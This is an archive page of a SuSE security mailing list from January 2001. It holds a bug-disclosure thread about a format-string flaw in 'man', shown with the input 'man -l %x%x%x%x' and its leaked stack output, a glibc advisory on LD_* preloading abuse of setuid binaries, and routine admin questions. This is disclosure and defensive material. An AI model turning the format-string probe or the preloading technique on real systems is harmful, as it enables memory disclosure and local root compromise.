Hi2all In SuSe 7.0 is the same ... # man -l %x%x%x%x man: 4001ee6cbffff8d40bffff8d0: No such file or directory [ ]'s bacano ----- Original Message ----- From: "syzop" <syz(a)DDS.NL> To: <VULN-DEV(a)SECURITYFOCUS.COM> Sent: Friday, January 26, 2001 3:16 PM Subject: Re: man package / SuSe format string vulnerabilities > confirmed on debian 2.2r2... > tracing in source of man-db-2.3.16 (man-db-2.3.17 [latest I guess] same problem)...: > > -- [src/man.c:752]: > if (!display ((cwd[0]?cwd:NULL), argv, NULL, basename(argv))) { > if ( local_mf ) > error (0, errno, argv); <----- HERE > exit_status = NOT_FOUND; > } > > -- [lib/error.c:80] > error (int status, int errnum, const char *message, ...) > -- [lib/error.c:102 (editted)] > VA_START (args, message); > vfprintf (stderr, message, args); > -- > > Auch :) > > Cya > > Syzop. > > > Joao Gouveia wrote: > > > Hi there, > > > > I'm sorry if this is a known issue, but i didn't find nothing related to > > format strings in this man package. > > Example follows: > > <quote> > > jroberto@spike:~ > cat /etc/issue > > > > Welcome to SuSE Linux 6.3 (i386) - Kernel \r (\l). > > > > jroberto@spike:~ > man -l %x%x%x%x > > man: 0bffff8600bffff85c: No such file or directory > > jroberto@spike:~ > man -V > > man, version 2.3.10, db 2.3.1, July 12th, 1995 (G.Wilford(a)ee.surrey.ac.uk) > > </quote> > > > > AFAIK, suse 7.0 also ships with this 'man'. Can anyone confirm this? > > > > Best regards, > > > > Joao Gouveia > > -------------- > > tharbad(a)kaotik.org >

1 0

pam_opie and ssh
by Diegmann Björn 26 Jan '01

26 Jan '01

Hi, I have set up sshd to authenticate via pam_opie. When logging in with a secure shell the challenge is only displayed AFTER authentication. any ideas?? thanks bjoern some details: SuSE 7.0/OpenSSH_2.3.0 # This is ssh server systemwide configuration file. Port 22 #Protocol 2,1 ListenAddress 0.0.0.0 #ListenAddress :: HostKey /etc/ssh/ssh_host_key ServerKeyBits 768 LoginGraceTime 600 KeyRegenerationInterval 3600 PermitRootLogin no # # Don't read ~/.rhosts and ~/.shosts files IgnoreRhosts yes # Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication #IgnoreUserKnownHosts yes StrictModes yes X11Forwarding yes X11DisplayOffset 10 PrintMotd yes KeepAlive yes # Logging SyslogFacility AUTH LogLevel INFO #obsoletes QuietMode and FascistLogging RhostsAuthentication no # # For this to work you will also need host keys in /etc/ssh_known_hosts RhostsRSAAuthentication no # RSAAuthentication yes # To disable tunneled clear text passwords, change to no here! PasswordAuthentication yes PermitEmptyPasswords no # Uncomment to disable s/key passwords #SkeyAuthentication no KbdInteractiveAuthentication yes # To change Kerberos options #KerberosAuthentication no #KerberosOrLocalPasswd yes #AFSTokenPassing no #KerberosTicketCleanup no # Kerberos TGT Passing does only work with the AFS kaserver #KerberosTgtPassing yes CheckMail no UseLogin no

1 0

AW: [suse-security] Password Authentication
by Stiefenhofer, Marek ECOFIS 26 Jan '01

26 Jan '01

Use pam_ldap. I don't know whether it is included in the suse 7.0 distribution. http://www.padl.com/pam_ldap.html kind regards, Marek

2 1

Password Authentication
by Phillip D. Beal 26 Jan '01

26 Jan '01

Hey, How can I make a SuSE 7.0 Professional System authenticate a user with an ldap server that is running on a remote system? I have a small secure system running an ldap server from an internal network, and I want all the systems to authenticate the users with the ldap database. I know the ldap database can be used for this, but how can I make a SuSE 7.0 system use the database? Thanks, -- Phillip Beal ___ _ _ Electrical and Computer Engineering | _ ) ___ __ _| |___ _ _ ___| |_ pdbeal(a)louisville.edu | _ \/ -_) _` | |_ /_| ' \/ -_) _| http://www.bealz.net/ |___/\___\__,_|_/__(_)_||_\___|\__|

1 0

SuSE Security Announcement: shlibs/glibc (SuSE-SA:2001:01)
by Roman Drahtmueller 26 Jan '01

26 Jan '01

-----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SuSE Security Announcement Package: glibc (shlibs) Announcement-ID: SuSE-SA:2001:01 Date: Friday, January 26th, 2001 15:40 MET Affected SuSE versions: 6.0, 6.1, 6.2, 6.3, 6.4, 7.0 Vulnerability Type: local root compromise Severity (1-10): 6 SuSE default package: yes Other affected systems: most Linux/glibc based systems Content of this advisory: 1) security vulnerability resolved: glibc problem description, discussion, solution and upgrade information 2) pending vulnerabilities, solutions, workarounds 3) standard appendix (further information) ______________________________________________________________________________ 1) problem description, brief discussion, solution, upgrade information ld-linux.so.2, the dynamical linker, adds shared libraries to the memoryspace of a program to be started. Its flexibility allows for some environment variables to influence the linking process such as preloading shared libraries as well as defining the path in which the linker will search for the shared libraries. Special care must be exercised when runtime-linking setuid- or setgid-binaries: The runtime-linker must not link against user-specified libraries since the code therein would then run with the elevated privileges of the suid binary. The runtime-linker as used in the SuSE distributions ignores the content of the critical environment variables if the specified path begins with a slash ("/"), or if the library file name is not cached (eg it is contained in a path from /etc/ld.so.conf). However, Solar Designer has found out that even preloading glibc- native shared libraries can be dangerous: The code in the user-linked library is not aware of the fact that the binary runs with suid or sgid privileges. Using debugging features of the glibc (and possibly other features) it is possible for a local attacker to overwrite arbitrary files with the elevated privileges of the suid/sgid binary executed. This may lead to a local root compromise. To eliminate these problems, we provide update packages that completely disregard the LD_* variables upon runtime-linking of a binary that has an effective uid different from the caller's userid. Download the update package from locations desribed below and install the package with the command `rpm -Uhv file.rpm'. The md5sum for each file is in the line below. You can verify the integrity of the rpm files using the command `rpm --checksig --nogpg file.rpm', independently from the md5 signatures below. SPECIAL INSTALL INSTRUCTIONS: ============================== The glibc (the shlibs package) is an intrinsic part of the GNU/Linux operating system since most binary executables are dependent on the shared libraries from that package. For this reason, special care must be taken while updating the shlibs package. After downloading the binary rpm files, make sure that your system is idle by bringing it down to Single User Mode (`init 1´). If this is not applicable for operational reasons, then keep your machine as calm as possible while you perform the update. In particular, make sure that no shell scripts are running during the update. Install the package using the command rpm -Uhv package-rpm-file Do _NOT_ interrupt the operation of the rpm command! After the installation, execute the commands ldconfig # alternatively, use SuSEconfig /sbin/init u # will restart init At this point, the update is done. On low-memory machines a reboot is advisable to free the memory that is used by the old memory-mapped libraries. Note 1: The upcoming SuSE-7.1 distribution is based on glibc-2.2. This distribution is not affected by the security problems in glibc as discussed in security forums. Note 2: The source rpm for the shlibs package is called "libc*.rpm". Multiple binary rpm packages are being generated from this source rpm package. These include: localedb, nssv1, shlibs, timezone. To get a fix for the runtime-linker related security issue (topic of this announcement), it is only necessary to update the shlibs binary rpm package. SuSE-7.0 ftp://ftp.suse.com/pub/suse/i386/update/7.0/a1/shlibs-2.1.3-190.i386.rpm 94ccbb80d2841f08f2b7322671d6e7f3 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/libc-2.1.3-190.src.rpm 3d15b6ffff534f0bf705882dbd8a2551 SuSE-6.4 ftp://ftp.suse.com/pub/suse/i386/update/6.4/a1/shlibs-2.1.3-155.i386.rpm bc03f1a6f32a66958128e9450e355698 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.4/zq1/libc-2.1.3-155.src.rpm e8f2aa8d32122edfbe3c436a52abb847 SuSE-6.3 ftp://ftp.suse.com/pub/suse/i386/update/6.3/a1/shlibs-2.1.2-48.i386.rpm 8d572332c67b488e5d64a8d4d3274e90 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.3/zq1/libc-2.1.2-48.src.rpm 8e1f861112f4a921ea4c7b5631304ee6 SuSE-6.2 ftp://ftp.suse.com/pub/suse/i386/update/6.2/a1/shlibs-2.1.1-30.i386.rpm b6b4cfe73e46c5b3bd5b626d68dfa584 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.2/zq1/libc-2.1.1-30.src.rpm 67fcd70b40f145b5f40b86f7254e35be SuSE-6.1 SuSE-6.0 The rpm packages are being produced as this announcement is written. The md5sums for these rpm packages will be provided on the ftp-server, signed with the security(a)suse.de pgp key below. Sparc Platform: SuSE-7.0 ftp://ftp.suse.com/pub/suse/sparc/update/7.0/a1/shlibs-2.1.3-155.sparc.rpm 6b000a6278366c6da4b719d2f62ad7a4 source rpm: ftp://ftp.suse.com/pub/suse/sparc/update/7.0/zq1/libc-2.1.3-155.src.rpm e845606be9c9aca72213e4c5f1f32290 AXP Alpha Platform: SuSE-7.0 ftp://ftp.suse.com/pub/suse/axp/update/7.0/a1/shlibs-2.1.3-155.alpha.rpm 2df813e3c08b52e3f914c591efc742d4 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/7.0/zq1/libc-2.1.3-155.src.rpm 9cb7a6e5981112da6d702916d453b419 SuSE-6.4 ftp://ftp.suse.com/pub/suse/axp/update/6.4/a1/shlibs-2.1.3-155.alpha.rpm 0636c2cddf131e76c19e154619a65bd8 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/6.4/zq1/libc-2.1.3-155.src.rpm 39fd3b8e7e4054bc7a333a831e99e6fd SuSE-6.3 ftp://ftp.suse.com/pub/suse/axp/update/6.3/a1/shlibs-2.1.2-48.alpha.rpm f9713bc945bf7f98527d2fdfbe756dfb source rpm: ftp://ftp.suse.com/pub/suse/axp/update/6.3/zq1/libc-2.1.2-48.src.rpm af2eb3df9d83f8f8ca13526046a3a539 SuSE-6.1 ftp://ftp.suse.com/pub/suse/axp/update/6.1/a1/shlibs-2001.1.17-0.alpha.rpm 4a0033c4ec32ef0e79fc1b7a83692738 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/6.1/zq1/libc-2000.9.5-0.src.rpm 11871baa8279f8c0c79f6c9d95ca531c PPC Power PC Platform: SuSE-7.0 ftp://ftp.suse.com/pub/suse/ppc/update/7.0/a1/shlibs-2.1.3-173.ppc.rpm 8d9d27a8fba22de4df5cd4700a541ad9 source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/libc-2.1.3-173.src.rpm 89946b9a2bb7c545a1761a84ebd979ab SuSE-6.4 ftp://ftp.suse.com/pub/suse/ppc/update/6.4/a1/shlibs-2.1.3-190.ppc.rpm 383bb49a2f6a3e83a9c2ed3eea30dc99 source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/6.4/zq1/libc-2.1.3-190.src.rpm 91ed7087165b74383cddb556abc07402 ______________________________________________________________________________ 2) Pending vulnerabilities in SuSE Distributions and Workarounds: This announcement is followed by a sequence of more announcements to address the ongoing security problems as discussed in public security forums. In particular, there are temporary file races in multiple packages (we collect and address them in a single announcement to keep the noise low), format string bugs, as well as a man-in-the-middle attack in the kdesu program and a single-byte buffer overflow. The next announcenemts will contain more information on these topics. Please stay tuned. ______________________________________________________________________________ 3) standard appendix: SuSE runs two security mailing lists to which any interested party may subscribe: suse-security(a)suse.com - general/linux/SuSE security discussion. All SuSE security announcements are sent to this list. To subscribe, send an email to <suse-security-subscribe(a)suse.com>. suse-security-announce(a)suse.com - SuSE's announce-only mailing list. Only SuSE's security annoucements are sent to this list. To subscribe, send an email to <suse-security-announce-subscribe(a)suse.com>. For general information or the frequently asked questions (faq) send mail to: <suse-security-info(a)suse.com> or <suse-security-faq(a)suse.com> respectively. =============================================== SuSE's security contact is <security(a)suse.com>. =============================================== Regards, Roman Drahtmüller, SuSE Security. - - | Roman Drahtmüller <draht(a)suse.de> // "Caution: Cape does | SuSE GmbH - Security Phone: // not enable user to fly." | Nürnberg, Germany +49-911-740530 // (Batman Costume warning label) | - - ______________________________________________________________________________ The information in this advisory may be distributed or reproduced, provided that the advisory is not modified in any way. SuSE GmbH makes no warranties of any kind whatsoever with respect to the information contained in this security advisory. Type Bits/KeyID Date User ID pub 2048/3D25D3D9 1999/03/06 SuSE Security Team <security(a)suse.de> - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i mQENAzbhLQQAAAEIAKAkXHe0lWRBXLpn38hMHy03F0I4Sszmoc8aaKJrhfhyMlOA BqvklPLE2f9UrI4Xc860gH79ZREwAgPt0pi6+SleNFLNcNFAuuHMLQOOsaMFatbz JR9i4m/lf6q929YROu5zB48rBAlcfTm+IBbijaEdnqpwGib45wE/Cfy6FAttBHQh 1Kp+r/jPbf1mYAvljUfHKuvbg8t2EIQz/5yGp+n5trn9pElfQO2cRBq8LFpf1l+U P7EKjFmlOq+Gs/fF98/dP3DfniSd78LQPq5vp8RL8nr/o2i7jkAQ33m4f1wOBWd+ cZovrKXYlXiR+Bf7m2hpZo+/sAzhd7LmAD0l09kABRG0JVN1U0UgU2VjdXJpdHkg VGVhbSA8c2VjdXJpdHlAc3VzZS5kZT6JARUDBRA24S1H5Fiyh7HKPEUBAVcOB/9b yHYji1/+4Xc2GhvXK0FSJN0MGgeXgW47yxDL7gmR4mNgjlIOUHZj0PEpVjWepOJ7 tQS3L9oP6cpj1Fj/XxuLbkp5VCQ61hpt54coQAvYrnT9rtWEGN+xmwejT1WmYmDJ xG+EGBXKr+XP69oIUl1E2JO3rXeklulgjqRKos4cdXKgyjWZ7CP9V9daRXDtje63 Om8gwSdU/nCvhdRIWp/Vwbf7Ia8iZr9OJ5YuQl0DBG4qmGDDrvImgPAFkYFzwlqo choXFQ9y0YVCV41DnR+GYhwl2qBd81T8aXhihEGPIgaw3g8gd8B5o6mPVgl+nJqI BkEYGBusiag2pS6qwznZiQEVAwUQNuEtBHey5gA9JdPZAQFtOAf+KVh939b0J94u v/kpg4xs1LthlhquhbHcKNoVTNspugiC3qMPyvSX4XcBr2PC0cVkS4Z9PY9iCfT+ x9WM96g39dAF+le2CCx7XISk9XXJ4ApEy5g4AuK7NYgAJd39PPbERgWnxjxir9g0 Ix30dS30bW39D+3NPU5Ho9TD/B7UDFvYT5AWHl3MGwo3a1RhTs6sfgL7yQ3U+mvq MkTExZb5mfN1FeaYKMopoI4VpzNVeGxQWIz67VjJHVyUlF20ekOz4kWVgsxkc8G2 saqZd6yv2EwqYTi8BDAduweP33KrQc4KDDommQNDOXxaKOeCoESIdM4p7Esdjq1o L0oixF12Cg== =pIeS - -----END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQEVAwUBOnGNKney5gA9JdPZAQHwWAf+O/xaFgEnMGl1E3NqR/oC6zDB5TelVWil 7Ng4KVr1Ijwodi7CjXAOXdI1SfVt2v64IWKxjpppQdM1F9epNEFCHx2XdLCviBEo EMC8r+KmPICRvfZJUzhJQPszXuLm7SDPTf5fsrWBcQrLnaQ+1eCBqlyCciFqLb3s iZYaxP/NoQh18UuKUVo3lRAzwN7eZwKh4xuwRfmxdB1yBqHloquTKA+JV7kl8SV4 k3PaNO7yC1kkbltkUX/y95hKEhQazh5Il/vK0FyKMHzXYdj8y28kQJKL07Gmwaye Sx3U7QRe9AD1e+IcfPzE6G9n1beaNhKMu+hGfyYXg+5n8lGKp/FTxw== =bcEa -----END PGP SIGNATURE-----

1 0

logcheck
by semat 26 Jan '01

26 Jan '01

Hello everyone, I would like a little help with a problem. I installed logcheck and I have this message from it multiple times: Jan 25 16:15:38 alpha sshd[5838]: debug: Installing crc compesation attack detector I would like to know what this means and whether I have cause to be worried. thanks you.

2 1

Does autorpm for SuSE exist ???
by Marko Kaening 26 Jan '01

26 Jan '01

Hi, I saw that Redhat has a nice tool called autorpm which allows automated updates of the system (for instance in case of security updates). It looks like this tool is not part of SuSE distribution! I personally would like to have such a tool available. So one could run that every morning or so just to be informed which packages were updated on ftp.suse.de for whatever reason and to decide whether an update should be made. Perhaps I am just not well enough informed, in that case I shut up and listen to your advice what to do, otherwise I would be happy to find some support from other users who might have the same wish to make system security a little easier and time-robbing job. What does SuSE think about this? Regards, Marko -- O _ O 0 0 ------------------m-\o/-m------------------------------------------ Dr. Marko K"aning Tel/Fax: +49-3834 554 442 / -3834 554 301 INP Greifswald email : kaening(a)inp-greifswald.de

6 8

RE: Hardening network by setting priorities
by Andreas Achtzehn 26 Jan '01

26 Jan '01

> From: Thomas Schuette [mailto:tgs@schuetteweb.de] > I think I can switch to Deutsch, ist ein wenig einfacher ;) > Meinst Du evtl. die TOS Bits? > > # Optimize your TCP/UDP connections by setting IP Options! > # -t 0x01 0x08 == best throughput > # -t 0x01 0x10 == fastest transmission > # -t 0x01 0x14 == most reliable trasmission > Hallo Thomas! Das ist ja schon die halbe Miete, danke erstmal, aber hast du eine Idee, wo ich eine gute Doku dazu herkriege? Andreas

3 4

pptp and ppp errors
by klg1＠gmx.de 26 Jan '01

26 Jan '01

Hello, I want to set up a VPN to connect from my mobile computer (Win98) via dialup (ISP) to my office (SuSe 6.4, FW). First I tried to set up a FreeSwan tunnel - which is no problem on the Linux Server side - but I could not find a free client for Win98. I downloaded FreePGP 6.51 from Computer Associates but a tunnel can only be established with the commercial versions. Does anybody know of a free client for Win98 which can be used for setting up a "road warrior"? Second thing i tried is to deal with the Linux PPtP Server. I set up things according to the man pages of PPtP (PPtPd is listening to the nic connected to the internet and is aware of incoming calls) but I am not able to finish connecting to the server. /var/log/messages reports my ppp establishing a connection to a serial port ppp0 <-> pts0 instead of eth0 and therefore all LCP pakets are gone. Another problem occurs if I enable Data encryption in /etc/ppp/options: if I enable mschap, mschap-v2, mppe40 or mppe128 pppd reports an error - unknown option - and dies although these options are mentioned in the man pages (pppd version 2.3.11) and in the HowTos. As the SuSE readme shows up those options and the docs (even at the LDP) does not mention about the above problems I don't know whats going wrong. Is there anybody who has a working setup, or knows what I am doing wrong? Thanks a million for any help Klaus -- Sent through GMX FreeMail - http://www.gmx.net -- Sent through GMX FreeMail - http://www.gmx.net

1 0

Why is this mail routed to me?
by Thorsten Marquardt 25 Jan '01

25 Jan '01

Hi, sometimes I get email which is addressed to different people. Here is a header of one of this mails: >From receipt(a)toushi-radar.co.jp Wed Jan 24 09:55:32 2001 Return-Path: <receipt(a)toushi-radar.co.jp> Received: from www.text-team.de ([212.6.91.187]) by mail.text-team.de (8.10.2/8.10.2/SuSE Linux 8.10.0-0.3) with ESMTP \ id f0O8tL330264 for <thom(a)proxy.text-team.de>; Wed, 24 Jan 2001 09:55:21 +0100 X-Authentication-Warning: mail.text-team.de: Host [212.6.91.187] claimed to be \ www.text-team.de Received: from www.amcc.com.cn ([202.102.193.110]) by www.text-team.de (8.10.2/8.10.2/SuSE Linux 8.10.0-0.3) with SMTP id \ f0O8sWl19488 for <thom(a)www.text-team.de>; Wed, 24 Jan 2001 09:54:33 +0100 X-Authentication-Warning: www.text-team.de: Host [202.102.193.110] claimed to \ be www.amcc.com.cn Received: (qmail 11375 invoked by uid 101); 19 Jan 2001 04:55:23 -0000 Received: from unknown (HELO toushi-radar.co.jp) (unknown) by unknown with SMTP; 19 Jan 2001 04:55:23 -0000 Message-ID: <00006e2e3a77$00006cd5$00007aa6(a)toushi-radar.co.jp> To: <admin(a)moreprofitinfo.or.kr> From: receipt(a)toushi-radar.co.jp Subject: Can You Ever Have enough Money? 31398 Date: Thu, 18 Jan 2001 19:32:01 -0800 MIME-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Priority: 3 X-MSMail-Priority: Normal and here is the associated part from /var/log/mail Jan 24 09:55:21 mail sendmail[30264]: f0O8tL330264: Authentication-Warning: \ mail.text-team.de: Host [212.6.91.187] claimed to be www.text-team.de Jan 24 09:55:32 mail sendmail[30264]: f0O8tL330264: from=<receipt@toushi-rad\ ar.co.jp>, size=6867, class=0, nrcpts=1, msgid=<00006e2e3a77$00006cd5$00007a\ a6(a)toushi-radar.co.jp>, proto=ESMTP, daemon=MTA, relay=[212.6.91.187] Jan 24 09:55:32 mail sendmail[30265]: f0O8tL330264: to=<thom(a)proxy.text-team.\ de>, delay=00:00:11, xdelay=00:00:00, mailer=local, pri=36020, dsn=2.0.0, \ stat=Sent Needless to say that I don't know neither the sender nor the receipent. Do I have an missconfiguerd sendmail? Yours sincerly Thom -- ------------------------------------------------------------------- bye bye (c) by Thom | Thorsten Marquardt | EMail: THOM(a)kaupp.chemie.uni-oldenburg.de | Member of the pzt project. | http://kaupp.chemie.uni-oldenburg.de/pzt -------------------------------------------------------------------

2 1

Re: [suse-security] Export
by Eilert Brinkmann 25 Jan '01

25 Jan '01

Jussi Jääskeläinen wrote: > I just upgrade from Suse 6.2 --> 7.0 > I have exported: > > /home 120.100.100.0/24 (rw,no_root_squash) ^^^ There should be no spaces between the hostname/address and the corresponding options in /etc/exports. > now when NFS-server is updated... Some how machines who mounts that > resource are NOT handeled as ROOT-users anymore... Remove the extraneous space in /etc/exports and execute `rcnfsserver reload` on the NFS server. Probably this will fix your problem. Eilert P.S. I assume you are aware that this configuration can be a security problem ;-) -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Eilert Brinkmann -- Universitaet Bremen -- FB 3, Informatik eilert(a)informatik.uni-bremen.de - eilert(a)tzi.org - eilert(a)linuxfreak.com http://www.informatik.uni-bremen.de/~eilert/

1 0

more problems: Masq'ing pptp
by Kevin Creason 25 Jan '01

25 Jan '01

I've patched my suSE 6.4 kernel (2.2.14), recompiled with the settings from the website at bottom. In YaST I've given the ip address of {SERVER-IP} to FW_TRUSTED_NETS, and ports 500, 1723 and 65535 to SERVICES_TRUSTED_TCP & UDP. I added the 65535 port after these errors, but still no go. I'm trying to use Microsoft's VPN (pptp) through my SuSE firewall to the server on the other end. The server on the other end is working for other non protected clients. I don't think I need masq_gre, but it it is going in for some reason. What did I do wrong? How do I enable proto 47? Jan 24 19:05:38 {MY-SRVR-HOSTNM} kernel: ip_masq_gre(): {INTERNAL-IP} -> {SERVER-IP} CID=C3E7 VER=1 PROTO=880B Jan 24 19:05:38 {MY-SRVR-HOSTNM} kernel: Packet log: input DENY ppp0 PROTO=47 {SERVER-ip}:65535 {ISP-ASSIGNED-IP}:65535 L=57 S=0x00 I=18380 F=0x0000 T=105 (#142) Jan 24 19:05:38 {MY-SRVR-HOSTNM} kernel: Packet log: input DENY ppp0 PROTO=47 {SERVER-IP}:65535 {ISP-ASSIGNED-IP}:65535 L=89 S=0x00 I=18381 F=0x0000 T=105 (#142) Jan 24 19:05:42 {MY-SRVR-HOSTNM} kernel: ip_masq_gre(): {CLIENTHOST-IP} -> {SERVER-IP} CID=C3E7 VER=1 PROTO=880B Jan 24 19:05:42 {MY-SRVR-HOSTNM} kernel: Packet log: input DENY ppp0 PROTO=47 {SERVER-IP}:65535 {ISP-ASSIGNED-IP}:65535 L=89 S=0x00 I=18382 F=0x0000 T=105 (#142) Jan 24 19:05:42 {MY-SRVR-HOSTNM} kernel: Packet log: input DENY ppp0 PROTO=47 {SERVER-IP}:65535 {ISP-ASSIGNED-IP}:65535 L=57 S=0x00 I=18383 F=0x0000 T=105 (#142) Jan 24 19:05:46 {MY-SRVR-HOSTNM} kernel: ip_masq_gre(): {CLIENTHOST-IP} -> {SERVER-IP} CID=C3E7 VER=1 PROTO=880B Jan 24 19:05:46 {MY-SRVR-HOSTNM} kernel: Packet log: input DENY ppp0 PROTO=47 {SERVER-IP}:65535 {ISP-ASSIGNED-IP}:65535 L=57 S=0x00 I=18384 F=0x0000 T=105 (#142) Jan 24 19:05:46 {MY-SRVR-HOSTNM} kernel: Packet log: input DENY ppp0 PROTO=47 {SERVER-IP}:65535 {ISP-ASSIGNED-IP}:65535 L=89 S=0x00 I=18385 F=0x0000 T=105 (#142) Jan 24 19:05:50 {MY-SRVR-HOSTNM} kernel: ip_masq_gre(): {CLIENTHOST-IP} -> {SERVER-IP} CID=C3E7 VER=1 PROTO=880B Jan 24 19:05:51 {MY-SRVR-HOSTNM} kernel: Packet log: input DENY ppp0 PROTO=47 {SERVER-IP}:65535 {ISP-ASSIGNED-IP}:65535 L=89 S=0x00 I=18386 F=0x0000 T=105 (#142) Jan 24 19:05:51 {MY-SRVR-HOSTNM} kernel: Packet log: input DENY ppp0 PROTO=47 {SERVER-IP}:65535 {ISP-ASSIGNED-IP}:65535 L=57 S=0x00 I=18387 F=0x0000 T=105 (#142) Jan 24 19:05:54 {MY-SRVR-HOSTNM} kernel: ip_masq_gre(): {CLIENTHOST-IP} -> {SERVER-IP} CID=C3E7 VER=1 PROTO=880B Jan 24 19:05:54 {MY-SRVR-HOSTNM} kernel: Packet log: input DENY ppp0 PROTO=47 {SERVER-IP}:65535 {ISP-ASSIGNED-IP}:65535 L=57 S=0x00 I=18388 F=0x0000 T=105 (#142) Jan 24 19:05:54 {MY-SRVR-HOSTNM} kernel: Packet log: input DENY ppp0 PROTO=47 {SERVER-IP}:65535 {ISP-ASSIGNED-IP}:65535 L=89 S=0x00 I=18389 F=0x0000 T=105 (#142) Jan 24 19:05:58 {MY-SRVR-HOSTNM} kernel: ip_masq_pptp_tcp(): {ISP-ASSIGNED-IP} -> {SERVER-IP} LEN=16 TY=1 MC=1A2B3C4D CTL=CALL_DISCONNECT_NOTIFY Jan 24 19:05:58 {MY-SRVR-HOSTNM} kernel: ip_masq_pptp_tcp(): CALL_DISCONNECT_NOTIFY, CID=8000 > ftp://ftp.rubyriver.com/pub/jhardin/masquerade/ip_masq_vpn.html > ftp://ftp.rubyriver.com/pub/jhardin/masquerade/VPN-howto/VPN-Masquerade-2.ht > ml > http://members.home.net/ipmasq/ Trim replies as much as needed- natch. Thanks in advance.

1 0

Hardening network by setting priorities
by Andreas Achtzehn 24 Jan '01

24 Jan '01

Hello security-list! I'd like to implement the following: To avoid DDoS-attacks I'd like to set priorities for certain network-services. I once read an article on securityfocus.com about how to for example set up that http-traffic is more important than DNS-traffic. It's possible using the ipchains. But unfortunately I can't find that article anymore where this is explained. So I hope for your assistance with this problem. Does anyone have a good description on how to set priorities? Thanks in advance, A. Achtzehn -- -----BEGIN GEEK CODE BLOCK----- Version: 3.1 GCS/CM/IT/P d@ s: !a C++(+) UL++++$ P++ L+++(++++)@ E---- W+++ N+ o? K? w O- M- V- PS PE- Y+ PGP++ t+ 5 X+ R* tv+ b++ DI? D-- G> e@> h!> ------END GEEK CODE BLOCK------ See http://www.ebb.org/ungeek/ on details.

2 1

Re: [suse-security] Update
by r.maurizzi＠gvs.it 24 Jan '01

24 Jan '01

> I have got a old box which was running suse 5.x and has ( last night ) been > upgraded to Suse7 All went very well despite a few silly things. However > something odd is now happening... if I telnet to the box it only asks for a > username at logon rather than username and a password ? > Any ideas ? Only a guess, but I had a similar problem upgrading and old RedHat, enabling shadow passwords in the process. Changing every user passwords by hand solved the problem (since a utility to do so was useful only to obtain a tight CPU loop ;_;). Chech to see if /etc/passwd and /etc/shadows contain "sane" values. Ciao, Roberto.

2 1

dhcpd with iptables
by Fritz Ganter 24 Jan '01

24 Jan '01

Hello! I have the problem that I can not access the dhcp server which is running on the firewall(yes I now). :-) I can send the configuration with email. The dhcp server listen on the internal interface, if I switch of the firewall all works fine. Remember, its iptables, it worked also with the ipchains based SuSEFirewall script. Fritz -- Fritz "der mit dem Linux tanzt" Ganter ganter(a)ganter.at Linux Consulting & Training http://www.linuxexperts.at Graz for you - der Grazer Stadtserver http://www.grazforyou.at A-8010 Graz, Liebiggasse 19/3/14 Tel. +43 (0)699 110 21 621

1 0

Re: [suse-security] Why is this mail routed to me?
by Thorsten Marquardt 24 Jan '01

24 Jan '01

Hi, Peter wrote: > > Thorsten Marquardt: > > Hi, > > sometimes I get email which is addressed to different people. Here is > > a header of one of this mails: > > >From receipt(a)toushi-radar.co.jp Wed Jan 24 09:55:32 2001 > > Received: from www.amcc.com.cn ([202.102.193.110]) > > by www.text-team.de (8.10.2/8.10.2/SuSE Linux 8.10.0-0.3) with SMTP > > id \ f0O8sWl19488 > > for <thom(a)www.text-team.de>; Wed, 24 Jan 2001 09:54:33 +0100 > > Looks like he has you in the BCC-field. Is there a chance to block such mail? There is na need to have me on on a Bcc list. Some of those mails apear to be commercials. > > I guess your account is <thom(a)www.text-team.de>? Upps Sorry. I forgott. That correct. Sendmail is working fine so far but I don't like this noise in my mailbox. Thanks Thom -- ------------------------------------------------------------------- bye bye (c) by Thom | Thorsten Marquardt | EMail: THOM(a)kaupp.chemie.uni-oldenburg.de | Member of the pzt project. | http://kaupp.chemie.uni-oldenburg.de/pzt -------------------------------------------------------------------

1 0

Update
by Paul Carruthers 24 Jan '01

24 Jan '01

I have got a old box which was running suse 5.x and has ( last night ) been upgraded to Suse7 All went very well despite a few silly things. However something odd is now happening... if I telnet to the box it only asks for a username at logon rather than username and a password ? Any ideas ? Paul Carruthers Systems Administrator Avellino Technologies Voice +44 (0) 118 940 7600 Fax +44 (0) 118 940 7699 Http://www.avellino.com/

2 1

SuSEfirewall logging
by Michael Long 24 Jan '01

24 Jan '01

Please excuse this dumb question but how do I get the SuSEfirewall script to log to /var/log/firewall? The last entry in the file is Nov 21 2000. Thanks, Mike

3 3

lprold or lprng ??
by dproc 24 Jan '01

24 Jan '01

Which print spooling mechanism do you prefer ... lprold or lprng ?? Or something else? Is lprold's suid bit more of a hazard than the complexity of lprng? Are there other issues I should think about when choosing what tools to use to print from a workstation? I could not find any opinions in the manuals or faqs, so I would be interested in yours. dproc

2 1

block traceroutes with iphains
by vladimir m. bondarev 24 Jan '01

24 Jan '01

Hello, suse-security. can i block traceroutes TO my host with ipchains? Monday, January 22, 2001 -- vladimir m. bondarev, icq uin: 62393277 paradox team web: http://scene.org.ru

11 13

Should I deny ICMP 3 packets?
by dproc 24 Jan '01

24 Jan '01

I noticed from my logs that my output chain had DENYed a "destination unreachable" packet from my workstation to my ISP's Domain Name Server. Does it do any harm to my ISP to deny this? (I don't need to waste their resources.) Why does SuSEfirewall deny the packet? Why would my kernel want to send it in the first place? dproc

1 0

Re: [suse-security] are unix domain sockets secure?
by Thomas Reitelbach -677 23 Jan '01

23 Jan '01

